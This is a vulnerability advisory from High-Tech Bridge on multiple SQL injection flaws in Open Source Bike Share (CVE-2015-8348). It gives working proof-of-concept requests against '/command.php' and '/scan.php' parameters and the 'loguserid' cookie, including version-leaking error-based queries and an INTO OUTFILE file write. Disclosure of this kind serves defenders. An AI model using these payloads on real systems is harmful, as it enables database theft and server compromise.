High-Tech Bridge Security Research Lab discovered multiple SQL injection vulnerabilities in Open Source Bike Share. Successful exploitation of these vulnerabilities will enable the attacker to obtain sensitive data from the database such as usernames and passwords, to post fake content or malware on the website. Advanced exploitation techniques along may allow to read and write files on the system, and even compromise the entire server.
1) Multiple SQL Injections in Open Source Bike Share: CVE-2015-8348
1.1 The vulnerability exists due to absence of sanitization of user-supplied input data passed via the "number" HTTP GET parameter to "/command.php" script. A remote unauthenticated attacker can alter the present SQL query and read, modify or delete sensitive content from the application's database.
A simple exploit below will modify the existing query and display version of MySQL server:
http://[host]/command.php?action=resetpassword&number=3%27%20OR%201=%28selec t%20min%28@a:=1%29from%20%28select%201%20union%20select%202%29k%20group%20by %20%28select%20concat%28@@version,0x0,@a:=%28@a%2b1%29%2%29%29%29%20--%202
1.2 The vulnerability exists due to absence of sanitization of user-supplied input data passed via the "loguserid" HTTP COOKIE to "/command.php" script when "action" HTTP GET parameter is set to "rent", "return", "validatecoupon", "forcerent", "forcereturn", "where", "removenote", "revert", "last", "stands", "userlist", "userstats", "usagestats", "trips", "couponlist", "generatecoupons", "sellcoupon", "userbikes", "map:status", "edituser" or "saveuser". A remote unauthenticated attacker can alter the present SQL query and read, modify or delete sensitive content from the application's database.
A simple exploit below will modify the existing query and display version of MySQL server:
GET /command.php?action=rent
Cookie: loguserid=1 OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a%2b1)%2)));
1.3 The vulnerability exists due to absence of sanitization of user-supplied input data passed via the "loguserid" HTTP COOKIE to "/scan.php/rent/" URL. A remote unauthenticated attacker can alter the present SQL query and read, modify or delete sensitive content from the application's database.
A simple exploit below will modify the existing query and display version of MySQL server:
GET /scan.php/rent/
Cookie: loguserid=1 OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a%2b1)%2)));
1.4 The vulnerability exists due to absence of sanitization of user-supplied input data passed via the "loguserid" HTTP COOKIE to "/scan.php/return/" URL. A remote unauthenticated attacker can alter the present SQL query and read, modify or delete sensitive content from the application's database.
A simple exploit below will modify the existing query and display version of MySQL server:
GET /scan.php/return/
Cookie: loguserid=1 OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a%2b1)%2)));
1.5 The vulnerability exists due to absence of sanitization of user-supplied input data passed via the "coupon" HTTP GET parameter to "/command.php" script, when "action" is set to "validatecoupon". A remote unauthenticated attacker can alter the present SQL query and read, modify or delete sensitive content from the application's database.
A simple exploit below will modify the existing query and write version of MySQL server into "/tmp/file" file:
http://[host]/command.php?action=validatecoupon&coupon=%27%20union%20select% 20version%28%29,1%20INTO%20OUTFILE%20%27/tmp/file%27%20--%202
1.6 The vulnerability exists due to absence of sanitization of user-supplied input data passed via the "bikeno" HTTP GET parameter to "/command.php" script. A remote unauthenticated attacker can alter the present SQL query and read, modify or delete sensitive content from the application's database.
A simple exploit below will modify the existing query and display version of MySQL server:
http://[host]/command.php?action=where&bikeno=1%20OR%201=%28select%20min%28@ a:=1%29from%20%28select%201%20union%20select%202%29k%20group%20by%20%28selec t%20concat%28@@version,0x0,@a:=%28@a%2b1%29%2%29%29%29
1.7 The vulnerability exists due to absence of sanitization of user-supplied input data passed via the "coupon" HTTP GET parameter to "/command.php" script, when "action" is set to "sellcoupon". A remote unauthenticated attacker can alter the present SQL query and read, modify or delete sensitive content from the application's database.
A simple PoC below triggers an error in SQL query, proving existence of vulnerability:
http://[host]/command.php?action=sellcoupon&coupon=%27SQL_CODE_HERE |
